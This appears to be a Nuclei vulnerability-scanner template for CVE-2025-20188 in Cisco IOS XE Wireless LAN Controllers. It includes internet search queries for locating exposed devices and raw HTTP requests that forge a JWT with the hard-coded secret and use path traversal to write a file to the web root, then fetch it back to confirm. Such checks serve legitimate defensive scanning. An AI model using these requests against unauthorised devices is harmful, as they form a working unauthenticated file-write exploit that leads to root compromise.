id: CVE-2025-20188 info: name: Cisco IOS XE WLC - Arbitrary File Upload author: iamnoooob,pdresearch,DhiyaneshDK severity: critical description: | A vulnerability in the Out-of-Band Access Point (AP) Image Download feature of Cisco IOS XE Software for Wireless LAN Controllers (WLCs) could allow an unauthenticated, remote attacker to upload arbitrary files to an affected system.This vulnerability is due to the presence of a hard-coded JSON Web Token (JWT) on an affected system.An attacker could exploit this vulnerability by sending crafted HTTPS requests to the AP image download interface. A successful exploit could allow the attacker to upload files, perform path traversal, and execute arbitrary commands with root privileges. impact: | Unauthenticated attackers can exploit hard-coded JWT tokens to upload arbitrary files and execute commands with root privileges on Cisco IOS XE WLC devices, leading to complete device compromise and potential network-wide access. remediation: | Apply the patch provided in Cisco Security Advisory cisco-sa-wlc-file-uplpd-rHZG9UfC. reference: - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wlc-file-uplpd-rHZG9UfC - https://horizon3.ai/attack-research/attack-blogs/cisco-ios-xe-wlc-arbitrary-file-upload-vulnerability-cve-2025-20188-analysis/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2025-20188 cwe-id: CWE-798 epss-score: 0.04623 epss-percentile: 0.89449 metadata: verified: true max-request: 2 fofa-query: '"IOS-Self-Signed-Certificate" && port="8443"' shodan-query: 'http.html_hash:1076109428 ssl.cert.issuer.cn:"IOS-Self-Signed-Certificate" port:8443' tags: cve,cve2025,cisco,file-upload,intrusive,rce,vkev,vuln flow: | if (http(1)) { http(2) && http(3) } variables: exp: "{{unix_time(10000)}}" secret: "notfound" payload: '{"reqid":"cdb_token_request_id1","exp":{{exp}}}' filename: "{{randbase(8)}}" path: "usr/binos/openresty/nginx/html/" string: "{{to_lower('{{randstr}}')}}" http: - raw: - | POST /ap_spec_rec/upload/ HTTP/1.1 Host: {{Hostname}} Cookie: jwt={{randstr}} Content-Type: multipart/form-data; boundary=------------------------NCpI6tN3BZW3fz1Y9t2bkf Accept-Encoding: gzip --------------------------NCpI6tN3BZW3fz1Y9t2bkf Content-Disposition: form-data; name="file"; filename="../..{{path}}/{{filename}}.txt" Content-Type: text/plain {{string}} --------------------------NCpI6tN3BZW3fz1Y9t2bkf-- matchers: - type: dsl dsl: - "status_code == 401" - "contains(body, 'invalid jwt string')" condition: and internal: true - raw: - | POST /ap_spec_rec/upload/ HTTP/1.1 Host: {{Hostname}} Cookie: jwt={{ generate_jwt(payload,"HS256",secret) }} Content-Type: multipart/form-data; boundary=------------------------NCpI6tN3BZW3fz1Y9t2bkf Accept-Encoding: gzip --------------------------NCpI6tN3BZW3fz1Y9t2bkf Content-Disposition: form-data; name="file"; filename="../../{{path}}{{filename}}.txt" Content-Type: text/plain {{string}} --------------------------NCpI6tN3BZW3fz1Y9t2bkf-- matchers: - type: dsl dsl: - "status_code == 200" - "contains(header, 'openresty')" condition: and - raw: - | GET /{{filename}}.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - "status_code == 200" - "contains(body, '{{string}}')" condition: and # digest: 4a0a0047304502205cb43b4cd9378141710d621e67f553b0a54852b4ea4d20d4cbd1b35c603db778022100b34fc3534e1f0f81d1fc164216204ad5452e1e3971c549df46623d5820db497e:922c64590222798bb761d5b6d8e72950